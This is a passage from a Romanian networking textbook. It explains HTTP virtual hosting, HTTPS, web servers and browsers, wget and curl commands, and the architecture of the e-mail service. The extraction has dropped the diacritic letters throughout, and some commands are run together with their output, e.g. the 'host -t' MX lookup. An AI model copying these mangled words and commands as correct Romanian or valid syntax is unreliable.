La nceputurile web-ului, unei adrese IP i corespundea, n DNS, un singur nume. n acest fel, o conexiune pe portul 80 la staia cu adresa IP aferent nsemna c se folosise un URL ce coninea acel nume. Pe msura dezvoltrii Internetului a aprut situaia n care mai multe nume refereau aceeai adres IP i, prin gzduire virtual (virtual hosting), fiecare nume putea referi anumite resurse; fiecare nume referea alte resurse, chiar de pe acelai sistem. Spre exemplu, dac new.start.info era un alias (CNAME n DNS) la www.start.info, ambele refereau aceeai adres IP. Cu o configuraie

S e r v i c i i d e r e e a | 313 corespunztoare de gzduire virtual, URL-urile http://new.start.info/hello.html sau http://www.start.info/hello.html ar afia, probabil, alte informaii. Fiecare nume dispune de propriul director rdcin. n aceast situaie s-a pus problema identificrii, n cadrul cererii HTTP, a numelui la care face referire. Acest lucru nu se poate face n momentul conectrii. Din punctul de vedere al protocolului TCP, n momentul conectrii se realizeaz conectarea ntre dou adrese IP, nu ntre dou nume. Indiferent c este vorba despre numele new.start.info sau www.start.info, conexiunea se realizeaz la fel. Pentru aceasta, n versiunea 1.1 a protocolului HTTP s-a introdus completarea cmpului Host cu numele ctre care se adreseaz cererea. Astfel, o cerere complet pentru cazuri de gzduire virtual este:
GET /hello.html HTTP/1.1 Host: new.start.info

n cadrul cererii de mai sus, se precizeaz c se dorete obinerea resursei hello.html din directorul rdcin al serverului web pentru numele new.start.info. Dac ar fi aprut numele www.start.info, s-ar fi recuperat resursa din directorul rdcin al acestui nume, probabil diferit de anteriorul.

Alte tipuri de mesaje HTTP


Cea mai mare parte a mesajelor transmise de un client web serverului sunt mesaje de tipul GET. Aceste mesaje solicit resurse de la serverul web care apoi sunt transmise clientului. Interogarea serviciului Web poate presupune i moduri de personalizare a interogrii, pentru cazul unor cereri dinamice. Dac, spre exemplu, se dorete o listare i prelucrare a unor intrri dintro baz de date, cererea poate fi sufixat de un ir de forma &table=names&list=yes. n cadrul acestui ir se definesc dou variabile (table i list) ale cror valori pot fi folosite de server n prelucrarea sa dinamic. Aceste variabile pot fi transmise i din cadrul unui format HTML. n cazul acesta transmiterea lor nu se mai face direct URL, n cadrul unui mesaj GET, ci printr-un mesaj POST. Mesajele de tip POST i propun obinerea unor resurse cu precizarea variabilelor n mesajul de interogare, nu n URL. Forma POST este o form mai ascuns dect cea GET, n care datele sunt vizibile n URL, dar nu mpiedic parcurgerea variabilelor i valorilor acestora printr-un sniffer. Pe lng mesajele de tip POST i GET, protocolul HTTP ofer i alte tipuri de mesaje, folosite mai rar n Internet gen PUT sau DELETE. Proiectat pentru a rezolva ct mai eficient accesul la un numr vast de resurse din Internet, protocolul HTTP are, totui, dou dezavantaje importante. Primul este c nu are nici o form implicit de autentificare i securizare a transferului; innd cont de popularitatea protocolului, este important ca, dac se dorete, transferul ntre clientul i serverul web s fie securizat; pentru aceasta se folosete HTTPS. Al doilea dezavantaj ine de nepersistena conexiunii; dac un client se autentific la un server, datele de autentificare ar trebui trimise la fiecare cerere, ntruct fiecare cerere nseamn o nou conexiune.

9.4.4 HTTPS
Odat cu dezvoltarea i diversificarea Internetului, a crescut i numrul de atacuri de reea i numrul celor care le realizeaz. Din acest motiv, securizarea protocoalelor existente, precum HTTP, SMTP, IMAP, FTP, a devenit important. Cu att mai mult pentru HTTP, unul dintre cele mai uzuale protocoale din Internet. Securizarea protocoalelor de nivel aplicaie se realizeaz, n general, prin folosirea SSL/TLS (Secure Sockets Layer/Transport Layer Security). Este vorba de o specificaie de nivel Prezentare n stiva OSI care creeaz canale sigure de comunicare pentru transferul informaiei. Suprapunerea protocoalelor de nivel aplicaie peste SSL/TLS a dat natere formelor securizate a protocoalelor de mai sus, precum HTTPS, SMTP+TLS, IMAPS, FTPS.

314 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e HTTPS este forma securizat a protocolului HTTP. Pentru a putea fi folosit ntre clientul web i serverul web, ambele trebuie s foloseasc o implementare de SSL/TLS19. URL-urile de HTTPS substituie prefixul http:// cu https://. Portul implicit folosit de un server cu suport HTTPS este 443, diferit de portul 80 folosit de HTTP. Pe portul 443 serverul ascult cereri de conexiune doar de la clieni cu suport HTTPS. n general, un server web va asculta simultan conexiuni pe portul 80 (nesecurizate) i pe portul 443 (securizate). Securizarea comunicaiei n HTTPS (de fapt n tranzaciile securizate cu SSL/TLS) se realizeaz prin intermediul certificatelor digitale. n general, serverul i va demonstra identitatea clientului folosind un certificat digital. Clientul/Browser-ul dispune de un set de certificate de CA (Certification Authority) care valideaz certificatul serverului i, n consecin, identitatea acestuia (faptul c numele folosit corespunde, ntr-adevr, serverului contactat). n urma unei validri reuite, se stabilete o cheie de criptare comun care va asigura canalul securizat de comunicare prin criptarea traficului. Traficul, chiar dac este capturat i analizat de altcineva, nu va putea fi neles. n cazul n care browserul nu dispune de un certificat de CA care s valideze certificatul serverului, i va afia clientului faptul c nu este o conexiune sigur, cu eventuala afiare a unui mesaj solicitnd acceptarea certificatului serverului (afiare folosit de Mozilla Firefox sau Google Chrome). n general, site-urile importante sunt securizate n mod corect, iar browserele dein certificate de CA pentru a valida acele site-uri. Este recomandat ca, n cazul unui transfer de date directe, de exemplu autentificare cu nume de utilizator i parol, s se foloseasc HTTPS. Pentru site-urile publice unde se folosete HTTPS este, de asemnea, recomandat folosirea de certificate care s fie recunoscute de browsere. Costul unui certificat variaz20, dar este considerat important ca un site public s dispun de un certificat valid. n cazul unui site de prestigiu, aceast condiie se impune. Securizarea unui protocol, precum HTTPS, ofer un canal sigur de comunicare, garantnd astfel confidenialitatea transferului. ntotdeauna, ns, criptarea nseamn un consum mai mare de resurse att din partea clientului ct i din cea a serverului. nainte de a fi transmise pe reea, datele trec printr-un nivel suplimentar de prelucrare, care nseamn costuri de procesor i memorie. Pentru a preveni consumul de resurse datorat criptrii, se recomand folosirea acestui mo d doar la nevoie. De exemplu, un wiki open, n care oricine are acces de scriere, nu necesit nici un fel de criptare; autentificarea, dac exist, nu ofer o protecie utilizatorului i datelor: nu conteaz cine scrie ct timp le scrie. n acest caz, nu are sens folosirea HTTPS; folosirea HTTP este suficient. Dac, ns, autentificarea folosete nite conturi importante pentru utilizator, ale cror credeniale se doresc a rmne ascunse, atunci se poate folosi HTTPS pentru criptarea tranzaciilor de autentificare. Dup ncheierea tranzaciilor de autentificare, restul tranzaciilor pot fi realizate nesecurizat, folosind HTTP. Eventual, alte pagini, precum cele de administrare, pot fi, de asemenea, securizate21. n fine, dac datele de pe wiki sunt critice, wiki-ul va fi ascuns i ntreg setul de tranzacii vor fi securizate folosind HTTPS; de avut n vedere c acest lucru va nseamna o ncrcare suplimentar a clientului i serverului web.

9.4.5 Servere web


Un serviciu foarte folosit i divers din Internet, serviciul Web impune prezena unui numr considerabil de feature-uri att din partea clientului ct i din partea serverului, depinznd de preferinele utilizatorului. n cazul serverelor web, sunt dorite funcionaliti precum criptarea traficului (HTTPS), suport pentru limbaje de web development (precum PHP, Ruby, Python, Perl), suport pentru forme de CGI (Common Gateway Interface), gestiunea accesului la pagini web, redirectri, pagini proprii fiecrui utilizator etc. Desigur, se dorete ca prelucrarea s fie ct mai

19 20

openssl/gnutls pe Linux http://www.whichssl.com/comparisons/price.html 21 Wordpress FORCE_LOGIN_SSL

S e r v i c i i d e r e e a | 315 eficient22 i ca serverul s aib un footprint de memorie ct mai mic - dou criterii de regul conflictuale. La fel ca n cazul browserelor, Internetul ofer clasamente de popularitate a serverelor web. Datorit numrului mare de staii server din Internet care ofer servicii Web, numrul de instane de servere web pentru primele poziii din clasamente este de ordinul milioanelor. Netcraft public unul dintre cele mai recunoscute clasamente ale serverelor web din Internet. Un astfel de clasament este publicat n fiecare an de Netcraft, prezentnd evoluia numrului de servere web pn la acel moment. Cel mai rspndit i cel mai recunoscut server web din Internet este Apache23. Aprut nc de la nceputul epocii web, serverul Apache este recunoscut pentru numr remarcabil de feature-uri, fie parte a core-ului Apache, fie disponibile prin module. Aceste feature-uri confer Apache o poziie solid pe lng celelalte servere, muli utilizatori prefernd configurabilitatea n faa eficienei. Majoritatea tutorialelor legate de instalarea i configurarea unei aplicaii web fac referire la Apache. Apache este instalabil i configurabil att pe Linux ct i pe Windows, fiind rspndit mpachetarea acestuia i altor aplicaii n LAMP sau WAMP (Linux/Windows Apache MySQL PHP/Perl/Python). n general, pentru cea mai mare parte a aplicaiilor web, serverul Apache este preferat, datorit numrului mare de feature-uri. n lumea Windows, Microsoft ofer, ca alternativ la Apache, serverul web din cadrul IIS (Internet Information Services). n vreme ce configurarea Apache se realizeaz, similar modului Unix, prin fiiere text de configurare i editoare, IIS se configureaz cu ajutorul interfeei grafice de administrare. Pentru integrarea cu alte servicii Microsoft i pentru servirea de paginii cu tehnologii specifice Microsoft (de exemplu, ASP), se recomand folosirea Microsoft IIS. n lumea Unix, cazurile de utilizare n care serverul Apache nu este preferat sunt acelea n care se dorete servire rapid i consum mic de resurse (low memory footprint). Datorit numrului mare de feature-uri, Apache este recunoscut ca un consumator de resurse (resource hog); n aceste cazuri se recomand un server light, opiunile cele mai rspndite fiind lighttpd i nginx. Att lighttpd ct i nginx au fost proiectate ca reacie la consumul mare de resurse i la eficiena redus a Apache. Cu un numr mai mic de feature-uri, dar cu ncorporarea funcionalitilor care asigur eficien ridicat (precum event-based serving), cele dou soluii sunt recomandate acelor site-uri care trebuie s rspund unui numr mare de conexiuni pe secund i pentru care consumul de resurse este critic.

9.4.6 Clieni web


Din perspectiva utilizatorului, componenta cea mai relevant pentru utilizarea serviciului web este clientul web, denumit i browser. Acesta reprezint interfaa utilizatorului cu resurse din Internet, pagini web, forme de colaborare, social networking, comunicare i altele. Un browser este mai mult dect un client HTTP. Folosirea unui URL conduce la conectarea la server i transmiterea unui mesaj de tipul GET ctre server. Serverul rspunde cu resursa/pagina. n general pagina este o pagin HTML. HTML (HyperText Markup Language) este un limbaj care descrie afiarea informaiilor pe ecran. Paginile HTML sunt transmise clientului care, prin parcurgerea fiierului HTML, realizeaz redarea; redarea nseamn plasarea textului, formatarea acestuia, culori, plasarea i dimensiunile imaginilor, tabele. Partea component a browserului responsabil de redare, una dintre cele mai importante componente, este engine-ul de redare (rendering engine). O clas special de clieni web sunt utilitarele folosite n linia de comand, precum wget sau curl. Acestea prezint avantajul vitezei de acces la o anumit resurs i posibilitatea de automatizare, cu dezavantajele unei experiene de utilizare reduse i a lipsei de interactivitate.

22 23

http://www.kegel.com/c10k.html http://httpd.apache.org/

316 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Pe msura dezvoltrii web-ului, browserele au devenit o component din ce n ce mai important. n ziua de azi, browserul reprezint una dintre componentele software cele mai cunoscute i utilizate din cadrul unui unui sistem de operare. Din acest motiv, de-a lungul timpului au existat conflicte legate de folosirea unui browser sau altul. Astfel de conflicte sunt celebrele browser wars24, conflicte care s-au amplificat prin intervenia companiilor productoare. O prim ediie a fost competiia dintre Netscape i Microsoft i, respectiv, browserele Netscape Navigator i Internet Explorer, la finele anilor '90. Ctigtor a ieit Microsoft. Putem considera c a doua ediie a browser wars a avut loc la mijlocul anilor 2000, ca o competiie ntre Mozilla Firefox i Internet Explorer. Aceast competiie este nc activ, ambele browsere avnd cote semnificative pe pia cu apariia n topul ultimilor ani a Google Chrome. n cadrul anului 2012, clasamentul browserelor cuprinde ca prime trei browsere Internet Explorer, Google Chrome i Mozilla Firefox, cu ponderi ntre 20% i 30%. Pe msura evoluiei Internetul i web-ului, dar i a competiiei dintre browsere, acestea au din ce n ce mai multe funcionaliti, rezultnd ntr-o putere de personalizare foarte mare a utilizatorilor. Astfel de funcionaliti sunt tab-uri de browser, amintirea parolelor, bar de cutare, bookmark-uri, plugin-uri i extensii, elemente anti-phishing, private browsing, module ncorporate pentru dezvoltare (aa cum este Firebug de la Mozilla Firefox). Apariia de standarde noi, precum HTML5 sunt un factor suplimentar de competiie ntre browsere. O form de browsere care au ctig de popularitate n ultimii ani sunt browserele de pe dispozitive mobile (n special smartphones). O dat cu dezvoltarea acestor dispozitive, n special pe sistemele de operare Android i iOS, browserele au primit un interes i mai ridicat. n plaja browserele pe dispozitive mobile, direct corelate cu sistemul de operare folosit, cele mai folosite sunt Safari (pe iOS), Android Browser i Opera. Ponderea ridicat a aplicaiilor web n experiea de Internet a utilizatorului fac din clientul web (browser-ul) una dintre aplicaiile de cpti n cadrul sistemului de operare. Browserele ofer un set amplu de funcionaliti pentru o ct mai bun experien de utilizare, cu interes crescut, n ultima perioad, pentru dispozitivele mobile.

9.4.7 Utilitarele wget i curl


Forma uzual prin care un utilizator acceseaz serviciul web este prin intermediul unui browser. n bara de adrese utilizatorul introduce URL-ul i acceseaz resursa cutat. n general, sunt folosite browsere cu interfa grafic i un numr mare de caracteristici: Internet Explorer, Mozilla Firefox, Google Chrome. Exist, ns i browsere n mod text, precum lynx, links sau w3m. Un caz separat de clieni web l reprezint utilitarele folosite n linia de comand pentru descrcarea unei resurse. Avantajele unor astfel de utilitare sunt: folosirea n orice mediu (nu necesit interfa grafic), posibilitatea de automatizare (pot fi folosite n scripturi) i eficiena pentru utilizare simpl: dac doreti doar s descarci un fiier ISO, o folosire a utilitarului wget este mai rapid dect deschiderea unui browser i alegerea directorului de download. Dou utilitare care ndeplinesc rolul de mai sus (client web n linia de comand) sunt wget i curl. Ambele sunt utilitare pentru descrcarea resurselor folosind protocoale web (HTTP i HTTPS), dar i FTP i, n cazul curl, IMAP, SFTP i altele. n general, utilitarele primesc un URL i descarc resursa web identificat prin acel URL. Astfel, pentru descrcarea unui fiier folosind wget se folosete comanda:
$ wget http://www.start.info/download/iso/udpcd.iso

Fiierul resurs udpcd.iso va fi salvat n directorul curent n care a fost rulat comanda de mai sus. Sunt cazuri n care se dorete descrcarea unei resurse sub un alt nume. n acest caz, se folosete opiunea -O urmat de numele fiierului n care se va salva resurse:
$ wget -O udpcd-20120828.iso http://www.start.info/download/udpcd.iso

24

http://en.wikipedia.org/wiki/Browser_wars

S e r v i c i i d e r e e a | 317 n comanda de mai sus resursa este salvat ntr-un fiier cu numele udpcd-20120828.iso. wget raporteaz informaii despre rularea comenzii. Dac se dorete colectarea acestor informaii ntr-un fiier, de obicei n scripturi ca s nu produc output suplimentar, se folosete opiunea -o urmat de numele fiierului, ca mai jos:
$ wget -o wget.log -O udpcd-20120828.iso http://www.start.info/download/udpcd.iso

n cadrul comenzii de mai sus, mesajele de dowload afiate de utilitarul wget sunt stocate n fiierul wget.log. Dac se dorete ignorarea acestora se poate folosi, ca nume de fiier, /dev/null. Utilitarul poate fi folosit peste HTTPS, caz n care URL-ul folosit este prefixat de https://. O situaie posibil este aceea n care serverul interogat nu emite un certificat recunoscut de wget, caz n care apare un mesaj de eroare de forma celui de mai jos:
$ wget https://koala.cs.pub.ro --2012-08-28 15:53:08-- https://koala.cs.pub.ro/ Resolving koala.cs.pub.ro (koala.cs.pub.ro)... 141.85.227.114 Connecting to koala.cs.pub.ro (koala.cs.pub.ro)|141.85.227.114|:443... connected. ERROR: The certificate of `koala.cs.pub.ro' is not trusted. ERROR: The certificate of `koala.cs.pub.ro' hasn't got a known issuer.

n cadrul mesajului de eroare se precizeaz faptul c nu este de ncredere. n aceas situaie, se poate folosi opiunea --no-check-certificate, care permite descrcarea resursei chiar dac certificatul nu este recunoscut, rezultnd doar ntr-un warning:
$ wget --no-check-certificate https://koala.cs.pub.ro [...] WARNING: The certificate of `koala.cs.pub.ro' is not trusted. WARNING: The certificate of `koala.cs.pub.ro' hasn't got a known issuer. HTTP request sent, awaiting response... 200 OK Length: 177 [text/html] Saving to: `index.html' [...]

Utilitarul curl ndeplinete un rol similar cu wget, avnd suport pentru un spectru mai larg de protocoale. Un exemplu simplu de rulare nseamn transmiterea URL-ului unei resurse ca argument utilitarului curl, dar curl afieaz ieirea comenzii, n mod implicit, la ieirea standard:
$ curl http://elf.cs.pub.ro/ <html> <head> <meta content="gTsIxyV43HSJraRPl6X1A5jzGFgQ3N__hKAcuL2QsO8" /> </head> <body> </body> </html> <h1>It works!</h1>

name="google-site-verification"

Dac se dorete salvarea unei resurse ntr-un fiier dat se folosete opiunea -o, la fel ca aici.
$ curl -o udpcd.iso http://www.start.info/download/iso/udpcd.iso

La fel ca n cazul wget, fiierul resurs udpcd.iso va fi salvat n directorul curent n care a fost rulat comanda de mai sus. Cea mai mare parte din funcionalitile curl sunt asigurate de biblioteca libcurl. Biblioteca libcurl este cea care implementeaz protocoalele de transfer. Biblioteca este open source, cu binding-uri n mai multe limbaje, i poate fi folosit n aplicaiile client care necesit transfer de fiiere. Astfel, dac se dorete implementarea unei aplicaii care conine un client de tip FTP, nu este nevoie de implementarea protocolului ci de folosirea modulelor necesare din cadrul bibliotecii. Un caz util de folosire a moodle este determinarea adresei IP publice a unei staii. n general, un utilizator va folosi un browser grafic i va accesa un site de forma www.whatismyip.com. n caz de nevoie, sau pentru obinerea rapid a informaiei, se poate folosi curl25. Site-urile care pot fi folosite n acest sens sunt ifconfig.me sau ipecho.net/plain:
25

sau wget dar cu redirectarea

318 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
$ curl ipecho.net/plain 89.38.247.156 $ curl ifconfig.me 89.38.247.156

n cazul comenzilor de mai sus, se transmite ca argument comenzii curl URL-ul corespunztor i se afieaz rezultatul serverului, formatat pur text ca adresa IP public solicitat.

9.5 Serviciul de e-mail


Nevoia de comunicare la scal tot mai extins i eventual cu mesaje persistente n timp a condus la apariia i dezvoltarea scrierii. Mai trziu au aprut pota, telegraful i telefonul, apoi transmiterea radio i televizorul. Reelele de calculatoare au creat noi posibiliti de comunicare, cu eficien, scal i posibiliti de arhivare a mesajelor din ce n ce mai mari. Unul dintre primele servicii disponibile n Internet a fost serviciul de e-mail. Serviciul de e-mail, de pot electronic, este cel care asigur comunicaia text ntre doi utilizatori aflai n zone diferite, lucrnd la sisteme de calcul diferite. Similar serviciului de pot existent, serviciul de e-mail nseamn schimbarea de mesaje ntre persoane, rolul potaului fiind asigurat de Internet. Expeditorul compune un mesaj, marcheaz destinatarul i apoi folosete serviciul de e-mail pentru a-l trimite. Destinatarul primete mesajul i l citete; observ c este de la expeditor i, la nevoie, poate rspunde (reply). O perspectiv de nivel nalt a funcionrii serviciului de e-mail este prezentat n figura de mai jos.
Ana
To: Dan To: Dan

Dan

Serviciul de e-mail

9-3 Funcionarea serviciului de e-mail Din punct de vedere istoric, serviciul de e-mail a aprut naintea Internet-ului. E-mail-ul era folosit n ARPANET i modul n care era folosit i proiectat a influenat deciziile de proiectare ale Internet-ului. Iniial gndit ca un serviciu de livrare de mesaje pur text, a fost extins ulterior s trimit mesaje binare, n format de ataamente, folosind specificaiile MIME (Multipurpose Internet Mail Extensions). n zilele noastre modurile de comunicare ntre oameni folosind resurse electronice sunt dintre cele mai diverse. Cantitatea de informaie transmis este de asemenea nsemnat. Forme de comunicare pot fi: discuii fa n fa, conference call-uri, discuii la telefon, forme de chat i instant messanging i e-mail. Ceea ce difereniaz serviciul de e-mail de alte forme de comunicare este asincronicitatea. Un mesaj transmis nu nseamn c va fi citit atunci. Utilizatorul poate fi offline, poate nu i-a accesat csua potal sau poate a ignorat mesajul. Aceast asincronicitate are avantaje importante: destinatarul nu trebuie s fie activ (online) pentru a primi mesajul; destinatarul poate atepta pn s rspund la mesaj, prin urmare poate formula cum trebuie mesajul;

S e r v i c i i d e r e e a | 319 expeditorul poate trimite un mesaj fr a deranja un expeditor ocupat, dar avnd ateptarea c va primi un rspuns ntr-un interval rezonabil (un soi de bileel lipit de frigider); se poate comunica facil cu alte persoane de pe alte fusuri orare; se pot trimite notificri de evenimente sau aciuni. Alte avantaje specifice serviciului de e-mail prin comparaie cu alte forme de comunicare sunt: posibilitatea transmiterii de ataamente, filtrarea i organizarea mesajelor, transmiterea facil ctre mai muli participani i crearea unei discuii n grup mai mare. Datorit prevalenei serviciului de e-mail s-au ncetenit un set de reguli i recomandri referite ca e-mail netiquette26. Acestea reprezint recomandri aduse celui care compune un mesaj pentru a facilita citirea i nelegerea acestuia de ctre destinatar(i). Astfel de recomandri sunt: scrierea de subiecte scurte i relevante; scrierea de mesaje scurte i la subiect; evitarea tonalitii agresive; insistat pe folosirea text e-mail, nu HTML; folosirea ceasului sistemului n forma potrivit; semnarea mesajului; evitarea folosirii ALL CAPS (cuvinte doar cu majuscule). La baza serviciului de e-mail, din perspectiva utilizatorului acestui serviciu, se gsesc cteva noiuni: adresa de e-mail folosit pentru identificarea unui destinatar, mesaje elementele de text care sunt transmise ntre expeditor i destinatar, csua de e-mail folosit pentru stocarea mesajelor la destinatar, de unde acesta le poate accesa i citi. Aceste noiuni sunt descrise n continuare.

9.5.1 Adrese de e-mail, csue potale i mesaje


Fr un interes special n protocoalele de comunicaie folosite de serviciul de e-mail i de infrastructura din spate, utilizatorul final este preocupat de cele trei noiuni folosite n titlul acestei seciuni: adresa de e-mail, csua potal i mesajul. Adresa de e-mail este un identificator al unui destinatar i este, astfel, o forma de URI (Uniform Resource Identifier vezi Seciunea 9.4.2). Adresa de e-mail este folosit, de asemenea, pentru identificarea expeditorului; la o eventual replic a destinatarului, acesta va putea trimite un mesaj expeditorului. Adresa de e-mail este compus dintr-un nume de utilizator, caracterul @ i un nume de domeniu. Numele de domeniu este folosit de DNS pentru a identifica serverul pe care se gsesc csuele potale, iar numele de utilizator este folosit pentru a identifica acea csu potal n cadrul serverului. Un mesaj trimis ctre ana@elementar.ro va ajunge la serverul de mail aferent domeniului elementar.ro n csua potal aferent numelui de utilizator ana. Csuele posale sunt depozitele n care se stocheaz mesajele trimise prin intermediul serviciului de e-mail. Un utilizator poate accesa csua potal proprie, poate citi mesajele, le poate copia, muta sau terge. Utilizatorul nu este, n general, la curent cu implementarea csuei potale. n mod uzual, o csu potal este o intrare n sistemul de fiiere unde sunt meninute mesajele primite. Dou formate sunt folosite aproape universal pentru csue potale: formatul mbox27 i formatul Maildir28. Formatul mbox folosete un fiier pentru stocarea mesajelor, n timp ce Maildir folosete un director. Formatul mbox nseamn concatenarea tuturor mesajelor ntr-un singur fiier. Formatul Maildir stocheaz fiecare mesaj ntr-un fiier. n ultimii ani, formatul Maildir a devenit prevalent, datorit flexibilitii de manevrare a mesajelor.

26 27

http://email.about.com/od/emailnetiquette/tp/core_netiquette.htm http://www.qmail.org/man/man5/mbox.html 28 http://cr.yp.to/proto/maildir.html

320 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Independent de formatul folosit pentru implementarea csuei posale, mesajele sunt stocate la fel: n forma n care au fost primite, cuprinznd antetul (header-ul) i corpul mesajului. Un mesaj stocat n csua potal cuprinde mesajul efectiv al clientului dar i antetul. Majoritatea clienilor de e-mail permit vizualizarea, pentru un mesaj, i a parii din header cu o opiune de forma All headers. Un mesaj de e-mail cuprinde aadar un antet (header) metainformaii despre mesaje i corpul mesajul (body) coninutul efectiv al mesajului. Antetul mesajului conine elemente precum destinatarul, data transmiterii, subiect, aa cum se poate vedea n exemplul de mai jos: Date: Sun, 14 Oct 2012 12:30:41 +0300 Message-ID: <CABdoFFe6WV1whLx8yHHjQJrxvm86-JQa2Z+XSzMRwcnO5cmybQ@mail.gmail.com> Subject: Rival Ideas - schimbare de plan From: Valentina Manea <valentina.manea.m@gmail.com> To: Razvan Deaconescu <razvan@rosedu.org> Mesajul de e-mail conine ntotdeauna caractere printabile; n mod implicit se trimit mesaje n codificare ASCII. Aceasta poate fi schimbat, ns, prin folosirea UTF-8. Pentru transmiterea de ataamente forma binar a acestora trebuie transformat n codificare ASCII. Aceasta nseamn folosirea standardului MIME care convertete caracterele non-ASCII n caractere ASCII, compatibile, aadar, cu deciziile de proiectare a serviciului de e-mail.

9.5.2 Funcionarea serviciului de e-mail


Utilizatorul serviciului de e-mail nu este de regul preocupat de arhitectura acestuia, cunotinele de funcionare fiind apetena inginerilor de reea sau a administratorilor. Pentru configurarea serviciului de e-mail, a infrastructurii acestuia i pentru depanare, sunt necesare cunotine interne despre componentele serviciului de e-mail i comunicarea dintre acestea (partea de back-end a serviciului de e-mail). Serviciul de e-mail are stabilit ca obiectiv livrarea mesajului de la un utilizator ctre alt utilizator. Pentru aceasta serviciul primete mesajul de la expeditor i l transmite destinatarului. Similar serviciului de pot clasic, mesajul este pus ntr-un plic apoi transmis unui oficiu de pot care se ocup de livrarea sa. Rolul de plic (envelope) este prezent i n e-mail. Acesta conine informaii similare celor din header-ul mesajului pe baza cruia oficiul de pot face livrarea. Oficiul de pot poart, n cadrul serviciului de e-mail, numele de MTA (Mail Transfer Agent). Un MTA preia un mesaj de la utilizator i l transmite unui alt MTA care se ocup de livrarea sa n continuare. Un MTA se mai numete i server de e-mail. La nceputurile Internet-ului, din cauza legturilor slabe, un mesaj traversa mai multe MTA-uri pentru a ajunge la destinaie. n zilele noastre, sunt parcuse, n scenariile simple dou MTA-uri: unul care primete mesajul de la utilizator i l livreaz primului MTA, iar al doilea primete mesajul de la primul MTA i l livreaz n csua potal a expeditorului. Un server de e-mail este, n general, aferent unui domeniu. De mesajele trimise ctre ana@elementar.ro se va ocupa serverul de e-mail aferent domeniului elementar.ro. Evident, pot exista mai multe servere de e-mail aferente unui singur domeniu, sau un server de e-mail s fie responsabil de mai multe domenii. Serverele de e-mail aferente unui domeniu sunt prezente ca nregistrri MX n DNS. Astfel, pentru a determina serverele de e-mail aferente domeniului cs.pub.ro se poate folosi o comand precum cea de mai jos:
$ host -t cs.pub.ro cs.pub.ro cs.pub.ro MX cs.pub.ro mail is handled by 10 imail.cs.pub.ro. mail is handled by 20 vmail.cs.pub.ro. mail is handled by 5 mail.cs.pub.ro.

Sunt 3 servere disponibile pentru domeniu. Cel cu prioritatea cea mai mic (5) este mail.cs.pub.ro i acesta va fi contactat n mod implicit. n cazul n care acest server pic, se ncearc n ordinea prioritilor (de la mic la mare) celelalte server; adic nti imail.cs.pub.ro i apoi vmail.cs.pub.ro.

S e r v i c i i d e r e e a | 321 n general, serviciul de e-mail furnizeaz dou tipuri de funcionaliti: transmiterea unui mesaj, proces care se ncheie cu stocarea acestuia ntr-o csu potal; citirea unui mesaj, proces care se ncheie cu vizualizarea unui mesaj de ctre utilizator. Mai jos sunt prezentate descrieri ale celor dou funcionaliti. Pentru a discuta despre transmiterea unui mesaj, vom considera c expeditorul este ana@elementar.ro iar destinatarul este dan@complex.ro. Vor fi implicate dou MTA-uri: cel aferent domeniului elementar.ro i cel aferent domeniului complex.ro. Presupunem c cele dou MTA-uri sunt mx.elementar.ro i mx.complex.ro. La baza transmiterii mesajului st comunicarea ntre cele dou MTA-uri. Primul MTA (mx.elementar.ro) primete mesajul, iar al doilea MTA (mx.complex.ro) l livreaz. Pentru aceasta, paii urmai sunt urmtorii: mx.elementar.ro investigheaz mesajul i extrage destinatarul, prezent n forma unei adrese de e-mail: dan@complex.ro; din adresa de e-mail extrage numele domeniului: complex.ro; investigheaz serverul de nume specificat local pentru a afla serverul de e-mail aferent domeniului complex.ro, adic solicit nregistrarea MX pentru domeniul complex.ro; serverul de nume interogat i ofer nregistrarea (sau nregistrrile) de tip MX pentru domeniul complex.ro; presupunem o singur intrare (mx.complex.ro); mx.elementar.ro iniiaz o conexiune ctre mx.complex.ro (folosete protocol SMTP descris n Seciunea 9.5.3); pe conexiunea SMTP astfel creat mx.elementar.ro i livreaz mesajul ctre mx.complex.ro; conexiunea dintre cele dou servere de e-mail este ncheiat. Dup primirea unui mesaj de al doilea server de e-mail (mx.complex.ro) acesta trebuie s l livreze ctre csua potal aferent. Pentru aceasta, MTA-ul apeleaz, n general, la o component denumit LDA (Local Delivery Agent) sau MDA (Mail Delivery Agent); acesta face prelucrri precum filtrare sau redirectare pe mesajul transmis. Paii urmai sunt, n general, urmtorii: mx.complex.ro parcurge destinatarul i extrage numele de utilizator; din configurarea local identific maparea dintre numele de utilizator i opiunile pentru LDA; transmite mesajul ctre LDA cu opiunile de utilizator; LDA-ul face prelucrri pe mesajul primit; LDA-ul livreaz mesajul ctre csua potal a utilizatorului aferent, n formatul acesteia (mbox sau Maildir). Unele MTA-uri (precum Postfix) au faciliti de LDA integrate (de exemplu pot s livreze mesajele n format Maildir), astfel c, de multe ori, paii anteriori sunt integrai n funcionarea MTA-ului. Mesajul transmis de MTA-ul iniial (mx.elementar.ro) este primit de acesta, din partea unui client de e-mail; clientul de e-mail se mai numete MUA (Mail User Agent). Utilizatorul folosete clientul de e-mail pentru crearea mesajului dup care mesajul este transmis ctre MTA-ul local, adic mx.elementar.ro. Paii urmai sunt cei de mai jos: utilizatorul deschide clientul de e-mail; utilizatorul completeaz cmpuri din antet precum destinatarul mesajui i subiectul; utilizatorul completeaz textul mesajului; utilizatorul comand clientului de e-mail s trimit mesajul; clientul de e-mail realizeaz o conexiune ctre MTA-ul configurat (adic mx.elementar.ro); protocolul folosit este tot SMTP; clientul de e-mail transmite mesajul ctre MTA; clientul de e-mail nchide conexiunea ctre MTA. Cele trei seturi de pai descrise mai sus, adic secvena de comunicare MUA -> MTA -> MTA -> LDA) sunt prezentate n figura de mai jos.

322 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

MUA I IV
mx.elementar.ro mx.complex.ro

LDA

SMTP

MTA1

III

SMTP

MTA2

II

NS

MX complex.ro

